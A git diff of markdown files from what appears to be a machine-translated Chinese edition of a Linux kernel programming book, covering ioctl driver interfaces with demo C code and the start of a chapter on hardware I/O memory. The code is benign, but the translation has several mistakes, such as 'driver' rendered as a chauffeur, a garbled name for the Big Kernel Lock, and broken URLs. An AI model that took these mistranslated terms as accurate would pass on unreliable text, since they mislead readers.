simpler for both kernel and user space developers set up and use a netlink-based communication interface. We will not delve into this here; please refer to the documentation within the kernel ([https://elixir.bootlin.com/linux/v5.4/source/Documentation/driver-api/connector.rst](https://elixir.bootlin.com/linux/v5.4/source/Documentation/driver-api/connector.rst)). Some sample code is also provided within the kernel source tree (at `samples/connector`). - -至此,您已经学会了如何通过强大的 netlink socket 机制在用户模式应用和内核组件之间进行交互。正如我们前面提到的,它在内核树中有几个实际的用例。现在,让我们继续,通过流行的`ioctl(2)`系统调用,介绍另一种用户内核接口方法。 - -# 通过 ioctl 系统调用接口 - -**ioctl** 是系统调用;为什么这个有趣的名字叫 *ioctl* ?是**输入输出控制**的缩写。而读写系统调用(以及其他)用于有效地将*数据*从设备(或文件;记住 UNIX 范式*如果不是进程,就是文件!*)*ioctl*系统调用用于*向设备发出* *命令*(通过其驱动程序)。例如,更改控制台设备的终端特征、格式化磁盘时将磁道写入磁盘、向步进电机发送控制命令、控制摄像机或音频设备等,都是命令发送到设备的实例。 - -让我们考虑一个虚构的例子。我们有一个设备,正在为它开发(字符)设备驱动程序。该设备有各种*寄存器*,设备上的小型硬件存储器通常为 8 位、16 位或 32 位,其中一些是控制寄存器。通过在它们上适当地执行 I/O(读和写),我们控制了设备(嗯,这确实是关键,不是吗;关于使用包括设备寄存器在内的硬件存储器的细节的实际主题将在下一章中涉及)。那么,作为驱动程序作者,您将如何与想要在该设备上执行各种控制操作的用户空间程序进行通信或交互?我们通常设计用户空间 C(或 C++)程序来打开设备,通常是对其设备文件执行`open(2)`,然后发出读写系统调用。 - -但是,正如我们刚才提到的,*在传输* *数据*时,`read(2)`和`write(2)`系统调用 API 是合适的,而在这里,我们打算执行**控制操作**。因此,我们需要另一个系统调用来实现...那么我们需要创建和编码一个新的系统调用(或多个调用)吗?不,比这简单得多:我们通过 *ioctl 系统调用进行*多路复用,*利用它在我们的设备上执行任何所需的控制操作!怎么做?啊,回想一下前一章至关重要的`file_operations` (fops)数据结构;我们现在将另一个成员`.ioctl`初始化为我们的 ioctl 方法函数,从而允许我们的设备驱动程序连接到这个系统调用:* - -```sh -static struct file_operations ioct_intf_fops = { - .llseek = no_llseek, - .ioctl = ioct_intf_ioctl, - [...] -}; -``` - -实际上,我们必须弄清楚我们是应该使用`ioctl`还是`file_operations`结构的`unlocked_ioctl`成员,这取决于该模块是运行在 Linux 内核版本 2.6.36 还是更高版本上;关于这一点的更多内容如下。 - -In fact, adding new system calls to the kernel is not something you should do lightly! The kernel chaps are *not* open to arbitrarily adding syscalls – it's a security-sensitive interface, after all. More on this is documented here: [https://www.kernel.org/doc/html/latest/kernel-hacking/hacking.html#ioctls-not-writing-a-new-system-call](https://www.kernel.org/doc/html/latest/kernel-hacking/hacking.html#ioctls-not-writing-a-new-system-call). - -关于使用 ioctl 进行接口的更多信息如下。 - -## 在用户和内核空间中使用 ioctl - -`ioctl(2)`系统调用的签名如下: - -```sh -#include -int ioctl(int fd, unsigned long request, ...); -``` - -参数列表是*varargs–变量参数–*一个。实际上,通常我们会传递两个或三个参数: - -* 第一个参数是显而易见的——打开的(在我们的例子中)设备文件的文件描述符。 -* 第二个参数叫做`request`,是有趣的一个:它是要传递给司机的命令。实际上,它是一个编码,封装了一个所谓的 ioctl 幻数:一个数字和一个类型(读/写)。 -* (可选)第三个参数,常称为`arg`,也是`unsigned long`量;我们使用它或者以通常的方式将一些数据传递给底层驱动程序,或者通常通过传递其(虚拟)地址并让内核写入其中,利用 C 所谓的**值-结果**或**进-出**参数样式,将数据返回给用户空间。 - -现在,正确使用 ioctl 并不像使用许多其他 API 那样微不足道。想一想:你很容易会有这样一个场景:几个用户空间应用正在向它们的底层设备驱动程序发出`ioctl(2)`系统调用(发出各种命令)。一个问题变得显而易见:内核 VFS 层将如何将 ioctl 请求导向正确的驱动程序?ioctl 通常在具有唯一*(大调,小调)*号的 char 设备文件上执行;因此,另一个驱动程序如何接收您的 ioctl 命令(除非您有意地,也许是恶意地,以这种方式设置设备文件)? - -然而,存在一个协议来实现 ioctl 的安全和正确使用;每个应用和驱动程序都定义了一个幻数,这个幻数将被编码到它的所有 ioctl 请求中。首先,驱动程序会验证它收到的每个 ioctl 请求都包含*它的*幻数;只有这样,它才会继续处理它;否则,它将干脆放弃它。当然,这就需要一个*ABI*——我们需要给每个“注册”的司机分配唯一的魔法号码(可能是一个范围)。因为这创建了一个 ABI,所以内核文档将是相同的;你可以在这里找到谁在使用哪个神奇数字(或代码)的详细信息:[https://www . kernel . org/doc/Documentation/ioctl/ioctl-number . txt](https://www.kernel.org/doc/Documentation/ioctl/ioctl-number.txt)。 - -接下来,对底层驱动程序的 ioctl 请求可以是以下四种情况之一:向设备“写入”的命令、从设备“读取”(或查询)的命令、同时执行读/写传输的命令,或者两者都不执行。该信息通过定义某些位被(再次)*编码为请求,以传达以下含义:为了使这项工作更容易,我们有四个帮助宏,允许我们构造 ioctl 命令:* - -* `_IO(type,nr)`:编码一个没有参数的 ioctl 命令 -* `_IO**R**(type,nr,datatype)`:编码 ioctl 命令,用于从内核/驱动程序读取数据 -* `_IO**W**(type,nr,datatype)`:编码 ioctl 命令,用于向内核/驱动程序写入数据 -* `_IO**WR**(type,nr,datatype)`:为读/写传输编码 ioctl 命令 - -这些宏在用户空间``头和内核`include/uapi/asm-generic/ioctl.h`中定义。典型的(也是非常明显的)最佳实践是创建一个*公共头*文件,该文件为应用/驱动程序定义 ioctl 命令,并将该文件包含在用户模式应用和设备驱动程序中。 - -在这里,作为演示,我们将设计并实现一个用户空间应用和一个内核空间设备驱动程序来驱动一个虚构的设备,该设备通过`ioctl(2)`系统调用进行通信。因此,我们必须定义一些通过 *ioctl* 接口发出的命令。我们将在一个公共头文件中这样做,如下所示: - -```sh -// ch2/ioctl_intf/ioctl_llkd.h - -/* The 'magic' number for our driver; see Documentation/ioctl/ioctl-number.rst - * Of course, we don't know for _sure_ if the magic # we choose here this - * will remain free; it really doesn't matter, this is just for demo purposes; - * don't try and upstream this without further investigation :-) - */ -#define IOCTL_LLKD_MAGIC 0xA8 - -#define IOCTL_LLKD_MAXIOCTL 3 -/* our dummy ioctl (IOC) RESET command */ -#define IOCTL_LLKD_IOCRESET _IO(IOCTL_LLKD_MAGIC, 0) -/* our dummy ioctl (IOC) Query POWER command */ -#define IOCTL_LLKD_IOCQPOWER _IOR(IOCTL_LLKD_MAGIC, 1, int) -/* our dummy ioctl (IOC) Set POWER command */ -#define IOCTL_LLKD_IOCSPOWER _IOW(IOCTL_LLKD_MAGIC, 2, int) -``` - -我们必须努力使我们在宏中使用的名称有意义。我们的三个命令(以粗体突出显示)都以`IOCTL_LLKD_`为前缀,表示它们都是我们虚构的`LLKD`项目的 ioctl 命令;接下来,它们以`IOC{Q|S}`为后缀,`IOC`表示这是 ioctl 命令,`Q`表示这是查询操作,`S`表示这是 set 操作。 - -现在,让我们学习如何从用户空间和内核空间(驱动程序)两个方面在代码级别进行设置。 - -### 用户空间–使用 ioctl 系统调用 - -*系统调用的*用户空间签名如下: - -```sh -#include -int ioctl(int fd, unsigned long request, ...); -``` - -在这里,我们可以看到它需要一个变量参数列表;ioctl 的参数如下: - -* **第一个参数**:要对其执行 ioctl 操作的文件或设备的文件描述符(我们通过对设备文件执行*打开*得到`fd`)。 -* **第二个参数**:向底层设备驱动程序(或文件系统或`fd`代表的任何东西)发出的请求或命令。 -* **可选的第三个(或多个)参数**:通常,第三个参数是整数(或指向整数或数据结构的指针);我们使用这种方法或者在发出 *set* 类命令时向驱动程序传递一些额外的信息,或者通过众所周知的*传递引用* C 范式从驱动程序中检索一些信息,在该范式中,我们传递指针并让驱动程序“戳”它,从而实际上将参数视为返回值。 - -In effect, ioctl is often used as a *generic* system call. The use of ioctl to perform command operations on both hardware and software is almost embarrassingly large! Please refer to the kernel documentation (`Documentation/ioctl/<...>`) to see many actual real-world examples. For example, you will find details on who is using which magic number (or code) within ioctl here: [https://www.kernel.org/doc/Documentation/ioctl/ioctl-number.txt](https://www.kernel.org/doc/Documentation/ioctl/ioctl-number.txt). -(Similarly, the `ioctl_list(2)` man page reveals the complete list of ioctl calls in the x86 kernel; these documentation files seem to be pretty old, though. The docs now seem to be here: [https://github.com/torvalds/linux/tree/master/Documentation/userspace-api/ioctl](https://github.com/torvalds/linux/tree/master/Documentation/userspace-api/ioctl).) - -让我们来看看用户空间 C 应用的一些片段,特别是在发布`ioctl(2)`系统调用时(为了简洁和可读性,我们省略了错误检查代码;完整的代码可在本书的 GitHub 存储库中获得): - -```sh -// ch2/ioctl_intf/user space_ioctl/ioctl_llkd_userspace.c -#include "../ioctl_llkd.h" -[...] -ioctl(fd, IOCTL_LLKD_IOCRESET, 0); // 1\. reset the device -ioctl(fd, IOCTL_LLKD_IOCQPOWER, &power); // 2\. query the 'power status' - -// 3\. Toggle it's power status -if (0 == power) { - printf("%s: Device OFF, powering it On now ...\n", argv[0]); - if (ioctl(fd, IOCTL_LLKD_IOCSPOWER, 1) == -1) { [...] - printf("%s: power is ON now.\n", argv[0]); - } else if (1 == power) { - printf("%s: Device ON, powering it OFF in 3s ...\n", argv[0]); - sleep(3); /* yes, careful here of sleep & signals! */ - if (ioctl(fd, IOCTL_LLKD_IOCSPOWER, 0) == -1) { [...] - printf("%s: power OFF ok, exiting..\n", argv[0]); - } -[...] -``` - -我们的驱动程序如何处理这些用户空间发布的 ioctls?我们来看看。 - -### 内核空间–使用 ioctl 系统调用 - -在前一节中,我们看到内核驱动程序必须初始化其`file_operations`结构,以包含`ioctl`方法。不过,这还不止于此:Linux 内核一直在进化;在早期的内核版本中,开发人员使用了一种非常粗粒度的锁,尽管它有效,但却严重损害了它的性能(我们将在[第 6 章](6.html)、*内核同步-第 1 部分*和[第 7 章](7.html)、*内核同步-第 2 部分*中详细讨论锁定)。太差了,被戏称为**大仁锁** ( **BKL** )!好消息是,到了内核版本 2.6.36,开发人员摆脱了这个臭名昭著的锁。然而,这样做也有一些副作用:其中之一是,在内核中发送到 ioctl 方法的参数数量,也就是在我们的`file_operations`数据结构中,随着更新的方法(命名为`unlocked_ioctl`)从 4 个变成了 3 个。因此,对于我们的演示驱动程序,在初始化驱动程序的`file_operations`结构时,我们将使用以下内容初始化 *ioctl* 方法: - -```sh -// ch2/ioctl_intf/kerneldrv_ioctl/ioctl_llkd_kdrv.c -#include "../ioctl_llkd.h" -#include -[...] -static struct file_operations ioctl_intf_fops = { - .llseek = no_llseek, -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 36) - .unlocked_ioctl = ioctl_intf_ioctl, // use the 'unlocked' version -#else - .ioctl = ioctl_intf_ioctl, // 'old' way -#endif -}; -``` - -显然,正如它在 fops 驱动程序中定义的那样,ioctl 被认为是一个私有驱动程序接口(`driver-private`)。此外,在驱动程序代码的函数定义中,必须考虑到与较新的“解锁”版本相关的相同事实;我们的司机是这样做的: - -```sh -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 36) -static long ioctl_intf_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) -#else -static int ioctl_intf_ioctl(struct inode *ino, struct file *filp, unsigned int cmd, unsigned long arg) -#endif -{ -[...] -``` - -这里的关键代码是驱动程序的 ioctl 方法。想想看:一旦完成了基本的有效性检查,驱动程序真正要做的就是对用户空间应用发出的所有可能有效的 ioctl 命令执行*开关盒*。让我们看一下下面的代码(为了可读性,我们将跳过`#if LINUX_VERSION_CODE >= ...`宏指令,只显示现代 ioctl 函数签名,以及一些有效性检查;您可以在本书的 GitHub 存储库中查看完整的代码): - -```sh -static long ioctl_intf_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) -{ - int retval = 0; - pr_debug("In ioctl method, cmd=%d\n", _IOC_NR(cmd)); - - /* Verify stuff: is the ioctl's for us? etc.. */ - [...] - - switch (cmd) { - case IOCTL_LLKD_IOCRESET: - pr_debug("In ioctl cmd option: IOCTL_LLKD_IOCRESET\n"); - /* ... Insert the code here to write to a control register to reset - the device ... */ - break; - case IOCTL_LLKD_IOCQPOWER: /* Get: arg is pointer to result */ - pr_debug("In ioctl cmd option: IOCTL_LLKD_IOCQPOWER\n" - "arg=0x%x (drv) power=%d\n", (unsigned int)arg, power); - if (!capable(CAP_SYS_ADMIN)) - return -EPERM; - /* ... Insert the code here to read a status register to query the - * power state of the device ... * here, imagine we've done that - * and placed it into a variable 'power' - */ - retval = __put_user(power, (int __user *)arg); - break; - case IOCTL_LLKD_IOCSPOWER: /* Set: arg is the value to set */ - if (!capable(CAP_SYS_ADMIN)) - return -EPERM; - power = arg; - /* ... Insert the code here to write a control register to set the - * power state of the device ... */ - pr_debug("In ioctl cmd option: IOCTL_LLKD_IOCSPOWER\n" - "power=%d now.\n", power); - break; - default: - return -ENOTTY; - } -[...] -``` - -`_IOC_NR`宏用于从`cmd`参数中提取命令号。在这里,我们可以看到驾驶员对通过用户空间过程发出的`ioctl`的三种有效情况做出“反应”: - -* 接收到`IOCTL_LLKD_IOC**RESET**`命令后,执行设备复位。 -* 当接收到`IOCTL_LLKD_IOC**Q**POWER`命令时,它查询(`Q`进行查询)并返回当前电源状态(通过使用*值-结果* C 编程方法将其值戳入第三个参数`arg`)。 -* 当接收到`IOCTL_LLKD_IOC**S**POWER`命令时,它设置(`S`用于设置)电源状态(为第三个参数`arg`中传递的值)。 - -当然,由于我们使用的是一个纯粹虚构的设备,我们的驱动程序实际上并不执行任何注册(或其他硬件)工作。这个驱动程序只是一个你可以利用的模板。 - -如果黑客试图在一次(相当笨拙的)黑客攻击中发布一个我们的驱动程序不知道的命令会怎么样?最初的有效性检查会抓住它;即使他们不这样做,我们也会在我们的 *ioctl* 方法中遇到`default`的情况,导致驾驶员将`-ENOTTY`返回到用户空间。这将通过 glibc“glue”代码,将用户空间进程(或线程)的`errno`值设置为`ENOTTY`,通知它 ioctl 方法不能被服务。我们的用户空间`perror(3)`应用编程接口将显示`Inappropriate ioctl for device`错误信息。事实上,如果驱动程序没有*ioctl 方法(也就是说,如果`file_operations`结构内的 ioctl 成员设置为`NULL`),并且用户空间应用对其发出`ioctl`方法,就会出现这种情况。* - - *我留给你来尝试这个用户空间/驱动程序项目的例子;为了方便起见,一旦加载了驱动程序(通过 insmod),就可以使用`ch2/userspace_ioctl/cr8devnode.sh`方便脚本生成设备文件。设置好之后,运行用户空间应用;你会发现连续运行它会使我们虚构的设备的“电源状态”反复切换。 - -## ioctl 作为调试接口 - -正如我们在本章开头提到的,使用 *ioctl* 接口进行调试怎么样?它可以用于此目的。您可以随时将“调试”命令插入到*开关盒*块中;它可以用来向用户空间应用提供关于驱动程序状态、关键变量的值(健康监控)等有用的信息。 - -不仅如此,除非明确记录给最终用户或客户,否则通过 ioctl 接口使用的精确命令是未知的;因此,您需要记录界面,同时为其他团队或客户提供足够的细节,以充分利用它们。这就引出了一个有趣的问题:您可能会选择故意不记录某个 ioctl 命令;现在这是一个“隐藏”命令,例如,现场工程师可以使用它来检查设备。(我把做这件事作为一项任务留给你。) - -The kernel documentation on ioctl includes this file: [https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.txt](https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.txt). Though biased toward kernel graphics stack devs, it describes typical design mistakes, trade-offs, and more. - -太棒了——你快完成了!您已经学习了如何通过各种技术将内核模块或驱动程序与用户模式进程或线程(在用户空间应用中)接口。我们从 procfs 开始,然后继续使用 sysfs 和 debugfs。netlink 套接字和 ioctl 系统调用完成了我们对这些接口方法的研究。 - -但是有了这些选择,你应该在项目中使用哪一个呢?下一节将通过快速比较这些不同的接口方法来帮助您做出决定。 - -# 比较接口方法-表格 - -在本节中,我们根据几个参数创建了本章中描述的各种用户内核接口方法的快速对照表: - -| **参数/接口方法** | procfs | **sysfs** | 调试 | **网联插座** | **ioctl** | -| **易开发性** | 易于学习和使用。 | (相对)易学易用。 | (非常)易学易用。 | 更难;得写用户空间 C +驱动代码+懂套接字 API。 | 公平/更难;得写用户空间 c++驱动代码。 | -| **适合什么用途** | 核心内核*只有*(少数老一点的驱动可能还在用);司机最好避开。 | 设备驱动接口。 | 用于生产和调试目的的驱动程序(和其他)接口。 | 用户包括设备驱动程序、核心网络代码、udev 系统等等。 | 设备驱动程序接口主要(包括许多)。 | -| **界面可见性** | 对所有人可见;使用权限来控制访问。 | 对所有人可见;使用权限来控制访问。 | 对所有人可见;使用权限来控制访问。 | 对文件系统隐藏;不会污染内核命名空间。 | 对文件系统隐藏;不会污染内核命名空间。 | -| **驱动程序/模块作者的上游内核 ABI *** | 主线不推荐在驱动程序中使用。 | “正确的方式”;将驱动程序与用户空间接口的正式认可的方法。 | 驱动程序和其他产品很好地支持并在主线中大量使用。 | 支持良好(从 2.2 开始)。 | 支持得很好。 | -| **用于(驾驶员)调试目的** | 是的(虽然不应该在主线中)。 | 不/不理想。 | 是的,非常有用!“无规则”的设计。 | 不/不理想。 | 有;(甚至)通过隐藏命令。 | - -*正如我们前面提到的,内核社区文档表明 procfs、sysfs 和 debugfs 都是*ABIs;*它们的稳定性和寿命没有保证。虽然这是社区采取的正式立场,但现实是,许多使用这些文件系统的实际接口已经成为现实世界中产品使用的实际接口。然而,我们应该遵循内核社区的“规则”和关于它们使用的指导方针。 - -# 摘要 - -在本章中,我们介绍了设备驱动程序作者的一个重要方面——如何在用户和内核(驱动程序)空间之间建立*接口。我们向您介绍了几种接口方法;我们从一个旧的开始,它是通过古老的 proc 文件系统接口的(然后提到为什么它不是驱动程序作者的首选方法)。然后我们继续通过更新的基于 2.6 的*系统接口。*这是*用户空间的首选界面,至少对于设备驱动程序来说是这样。不过,Sysfs 也有局限性(回想一下每个 sysfs 文件一个值的规则)。因此,使用完全自由格式的 *debugfs* 接口技术使得编写调试(和其他)接口变得非常简单和强大。netlink socket 是一种强大的接口技术,由网络子系统 udev 和一些驱动程序使用;不过,它确实需要一些关于套接字编程和内核套接字缓冲区的知识。为了在设备驱动程序上执行通用命令操作,ioctl 系统调用被证明是一个巨大的多路复用器,并且经常被设备驱动程序作者(和其他组件)用来与用户空间接口。** - - *有了这些知识,您现在可以将您的驱动级代码与用户空间应用(或脚本)进行实际集成;通常,用户模式**图形用户界面** ( **图形用户界面**)会想要显示从内核或设备驱动程序接收的一些值。您现在知道如何从内核空间设备驱动程序传递这些值了! - -在下一章中,您将了解作者必须执行的一个典型任务驱动程序:使用硬件芯片内存!确保你清楚本章的材料,做提供的练习,复习*进一步阅读*资源,然后进入下一章。那里见! - -# 问题 - -1. `sysfs_on_misc` : *sysfs 任务#1* :扩展我们在[第 1 章](1.html)、*中编写的一个`misc`设备驱动,编写一个简单的杂项字符设备驱动*;设置两个 sysfs 文件及其读/写回调;从用户空间测试它们。 - -2. `sysfs_addrxlate` : *sysfs 赋值#2(高级一点)* : *地址转换:*利用从本章和 *Linux 内核编程*一书中获得的知识,*第 7 章,内存管理内部组件-要点,**直接映射内存和地址转换*部分,编写一个简单的平台驱动程序,提供两个 sysfs 接口文件,分别称为`addrxlate_kva2pa`和`addrxlate_pa2kva`。将 kva 写入 sysfs 文件`addrxlate_kva2pa`时,应由驱动程序读取并翻译 *kva* 为其对应的**物理地址**(**pa**);然后,从同一个文件中读取应该会导致显示 *pa* 。对`addrxlate_pa2kva` sysfs 文件执行同样的操作。 -3. `dbgfs_disp_pgoff` : *debugfs 赋值#1* :在这里写一个设置 debugfs 文件的内核模块:`/dbgfs_disp_pgoff`。当读取时,它应该显示`PAGE_OFFSET`内核宏的当前值(到用户空间)。 -4. `dbgfs_showall_threads` : *调试文件分配#2* :在这里写一个设置调试文件的内核模块:`/dbgfs_showall_threads/dbgfs_showall_threads`。读取时,它应该显示每个活动线程的一些属性。(这类似于我们在 *Linux 内核编程*一书中的代码:这里:[https://github . com/PacktPublishing/Linux-Kernel-Programming/tree/master/ch6/foreach/thrd _ showall](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/ch6/foreach/thrd_showall)。请注意,在 insmod 时间,线程仅显示*;有了 debugfs 文件,你可以随时显示所有线程的信息! - *建议输出为 CSV 格式:* `TGID,PID,current,stack-start,name,#threads`。方括号中的`[name]`字段= >内核线程*;* `#threads`字段应只显示正整数*;*这里没有输出意味着单线程进程;例如:`130,130,0xffff9f8b3cd38000,0xffffc13280420000,[watchdogd]`)* - - *5. *ioctl 赋值#1* :使用提供的`ch2/ioctl_intf/`代码作为模板,编写实现`ioctl`方法的用户空间 C 应用和内核空间(char)设备驱动。添加一个名为`IOCTL_LLKD_IOCQPGOFF`的 ioctl 命令,将`PAGE_OFFSET`的值(在内核中)返回给用户空间。 -6. `ioctl_undoc` : *ioctl 赋值#2* :使用提供的`ch2/ioctl_intf/`代码作为模板,编写实现`ioctl`方法的用户空间 C 应用和内核空间(char)设备驱动。添加一个驱动程序上下文数据结构(我们在几个例子中使用了这些),然后分配并初始化它。现在,除了我们之前使用的三个 ioctl 命令之外,设置第四个未记录的命令(可以称之为`IOCTL_LLKD_IOCQDRVSTAT`)。当通过`ioctl(2)`从用户空间查询时,必须将驱动上下文数据结构的内容返回到用户空间;用户空间 C 应用必须打印出该结构中每个成员的当前内容。 - -You will find some of the questions answered in the book's GitHub repo: [https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn). - -# 进一步阅读 - -您可以参考以下链接,了解本章所涵盖主题的更多信息。关于在 Linux 设备驱动程序中使用非常常见的 I2C 协议的更多信息,可以在这里找到: - -* 一篇关于 I2C 协议基础的文章:*如何在 STM32F103C8T6 中使用 I2C?STM32 I2C 教程*,2020 年 3 月:[https://www . electronics hub . org/how-I2C-in-STM 32 f 103 c 8t 6/](https://www.electronicshub.org/how-to-use-i2c-in-stm32f103c8t6/) - -* 内核文档:实现 I2C 设备驱动程序***** \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/3.md b/docs/linux-kernel-prog-pt2/3.md deleted file mode 100644 index aa6a6051..00000000 --- a/docs/linux-kernel-prog-pt2/3.md +++ /dev/null @@ -1,615 +0,0 @@ -# 三、使用硬件 IO 内存 - -在本章中,我们将重点讨论编写设备驱动程序的一个重要的硬件相关方面:如何准确地访问和执行对硬件(或外围设备)输入/输出存储器的输入/输出(输入/输出、读取和写入)——您正在为其编写驱动程序的外围设备硬件芯片。 - -本章中您将获得的知识背后的动机很简单:没有这些,您将如何实际控制设备?大多数设备由对其硬件寄存器和/或外围存储器(也称为硬件输入/输出存储器)的仔细校准的读写驱动。作为一个基于虚拟内存的操作系统,Linux 在处理外围输入输出内存时需要一些抽象。 - -在本章中,我们将涵盖以下主题: - -* 从内核访问硬件输入/输出内存 -* 理解和使用内存映射输入/输出 -* 理解和使用端口映射输入/输出 - -我们开始吧! - -# 技术要求 - -我假设您已经通过了*前言*部分*来充分利用这本书*,并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高的稳定版本)的来宾 VM,并且安装了所有需要的软件包。如果没有,我强烈建议你先做这个。为了最大限度地利用这本书,我强烈建议您首先设置工作空间环境,包括克隆这本书的 GitHub 代码存储库,并以动手的方式进行处理。知识库可以在这里找到:[https://github . com/PacktPublishing/Linux-内核-编程-第 2 部分](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2)。 - -# 从内核访问硬件输入/输出内存 - -作为设备驱动程序作者,您可能会面临一个有趣的问题:您需要能够访问和处理外围芯片的输入/输出内存、硬件寄存器和/或硬件内存。事实上,这通常是驱动程序在“金属”级别对硬件进行编程的方式:通过寄存器和/或外围存储器向硬件发出命令。然而,在 Linux 上直接访问硬件输入/输出内存会面临一个问题。在第一部分中,我们将研究这个问题并提供解决方案。 - -## 通过直接访问了解问题 - -当然,现在芯片上的这个硬件内存,也就是所谓的 I/O 内存,并不是 RAM。Linux 内核拒绝模块或驱动程序作者直接访问这样的硬件输入/输出内存位置。我们已经知道原因:在现代基于虚拟机的操作系统上,所有内存访问都必须通过**内存管理单元** ( **MMU** )和分页表进行。 - -让我们快速总结一下在配套指南**第 7 章* *内存管理内部组件–要点*中看到的内容的关键方面:默认情况下,内存是虚拟化的,这意味着所有地址都是虚拟的,而不是物理的(这包括内核段或 VAS 中的地址)。这样想:一旦进程(或内核)访问虚拟地址进行读写或执行,系统就必须在相应的物理地址获取内存内容。这包括在运行时将虚拟地址转换为物理地址;硬件优化(中央处理器缓存、**翻译后备缓冲器** ( **TLBs** )等)可以加快速度。执行的过程如下:* - -1. 首先,检查中央处理器高速缓存(L1-D/L1-I、L2 等)以查看该虚拟地址引用的内存是否已经在中央处理器高速缓存芯片上。 -2. 如果内存已经在船上,我们有一个缓存命中,工作就完成了。如果不是(这是一个**末级缓存** — **LLC** 失手-贵!),虚拟地址被馈送到微处理器 MMU。 -3. MMU 现在在处理器 TLB 中寻找相应的物理地址。如果它在那里,我们有一个 TLB 击中,工作已经完成;如果没有,我们有一个 TLB 小姐(这是昂贵的!). - -4. MMU 现在遍历进行访问的用户空间进程的分页表;或者,如果内核进行了访问,它会遍历内核分页表,将虚拟地址转换为相应的物理地址。此时,物理地址被放在总线上,工作完成。 - -Please refer to TI's *Technical Reference Manual* for the OMAP35x at [https://www.ti.com/lit/ug/spruf98y/spruf98y.pdf?ts=1594376085647](https://www.ti.com/lit/ug/spruf98y/spruf98y.pdf?ts=1594376085647) for more information on this; the *MMU Functional Description* topic (page 946) is illustrated with excellent diagrams (for our purpose, see *Figures 8.4*, *8.6*, and *8.7* – the latter is a flowchart depicting the preceding procedures). - -Also, we mention the fact that the actual address translation procedure is of course very arch-dependent. On some systems, the order is as shown here; on others (often on ARM), the MMU (including TLB lookups) is performed first, and then the CPU caches are checked. - -所以,想想看:即使是正常的内存位置也不能被运行在现代操作系统上的软件直接访问;这是因为它的内存被虚拟化了。在这种情况下,分页表(每个进程以及内核本身)使操作系统能够在运行时将虚拟地址转换为物理地址。(在我们的配套书籍 *Linux 内核编程*、*第 7 章*、*内存管理内部组件–要点*、*虚拟寻址和地址转换*部分中,我们已经详细介绍了这些领域;如果需要的话,一定要回头看一下,以更新这些要点。) - -现在,如果我们有一个包含输入/输出内存的硬件外设或芯片,如果我们考虑到这个内存不是内存的事实,这个问题似乎更加复杂。那么,这个内存不是由分页表映射的吗?还是真的?在下一节中,我们将探讨两种常见的解决方案,请继续阅读! - -## 解决方案–通过输入/输出内存或输入/输出端口进行映射 - -为了解决这个问题,我们必须理解,现代处理器提供了两种广泛的方式来访问和使用硬件输入/输出(外围芯片)存储器: - -* 通过为这些外围设备保留处理器地址空间的一些区域;即使用**内存映射 I/O** ( **MMIO** )作为 I/O 的映射类型 - -* 通过提供不同的汇编(和相应的机器)中央处理器指令来直接访问输入/输出内存。将这种映射类型用于输入/输出被称为**端口映射输入/输出** ( **PMIO** 或简称为 **PIO** )。 - -我们将在*理解和使用内存映射输入/输出*和*理解和使用端口映射输入/输出*部分分别考虑这两种技术。然而,在我们这样做之前,我们需要学习如何礼貌地向内核请求使用这些输入/输出资源的许可! - -## 请求内核的许可 - -想一想:即使你知道使用哪个应用编程接口来映射或以某种方式处理输入/输出内存,首先,你需要向操作系统*请求许可。*毕竟,操作系统是系统的整体资源管理器,在使用它的资源之前,你必须很好地询问它。当然,这还不止这些——当你问它的时候,你真正做的是让它建立一些内部数据结构,让内核了解哪个驱动程序或子系统正在使用什么输入/输出内存区域或端口。 - -在执行任何外围输入/输出之前,您应该向内核请求这样做的权限,假设您得到了权限,您就执行输入/输出。在此之后,您应该将输入/输出区域释放回内核。该过程涉及以下步骤: - -1. **输入输出前**:请求访问内存或端口区域。 -2. **收到内核的绿灯后,执行实际的输入输出**:你可以使用 MMIO 或者 PMIO 来完成(详情见下表)。 -3. **输入/输出后**:将内存或端口区域释放回操作系统。 - -那么,如何执行这些请求、输入/输出和释放操作呢?有一些 API 可以做到这一点,您应该使用的 API 取决于您使用的是 MMIO 还是 PMIO。下表总结了在执行输入/输出之前应该使用的应用编程接口,然后在这项工作完成后释放该区域(执行输入/输出的实际应用编程接口将在后面介绍): - -| **访问输入/输出存储器的方法** | MMO | pmio | -| 在执行任何输入/输出之前,请求访问输入/输出内存/端口区域。 | `request_mem_region()` | `request_region()` | -| 执行输入/输出操作。 | (参见*MMIO–执行实际输入/输出*部分) | (参见*PMIO–执行实际输入/输出*部分) | -| 执行输入/输出操作后,释放该区域。 | `release_mem_region()` | `release_region()` | - -上表所示功能在`linux/ioport.h`表头定义为宏;他们的签名如下: - -```sh -request_mem_region(start, n, name); [...] ; release_mem_region(start, n); -request_region(start, n, name); [...] ; release_region(start, n); -``` - -所有这些宏本质上都是`__request_region()`和`__release_region()`内部 API 的包装器。这些宏的参数如下: - -* `start`是 I/O 内存区域或端口的开始;对 MMIO 来说,这是一个物理(或总线)地址,而对 PMIO 来说,这是一个端口号。 -* `n`是被请求区域的长度。 -* `name`是您希望与映射区域或端口范围相关联的任何名称。它通常是执行输入/输出操作的驱动程序的名称(您可以在 proc 文件系统中看到它;我们将在介绍如何使用 MMIO 和 PMIO 时更详细地了解这一点)。 - -`request_[mem_]region()`应用编程接口/宏的返回值是一个指向`struct resource`的指针(在*获取设备资源*一节中有更多相关内容)。如果`NULL`被返回,这意味着资源未能被保留;驱动程序通常会返回`-EBUSY`,表示资源现在正忙或不可用(可能是因为另一个组件/驱动程序已经请求并正在使用它)。 - -在接下来的章节中,我们将提供一些使用这些 APIs 宏的实际例子。现在,让我们学习如何实际映射和使用输入/输出内存。我们将从几乎所有现代处理器都支持的通用方法开始;也就是 MMIO。 - -# 理解和使用内存映射输入/输出 - -在 MMIO 方法中,中央处理器理解其地址空间的某个区域(或几个)是为输入/输出外围存储器保留的。您实际上可以通过参考给定处理器(或 SoC)数据表的物理内存图来查找区域。 - 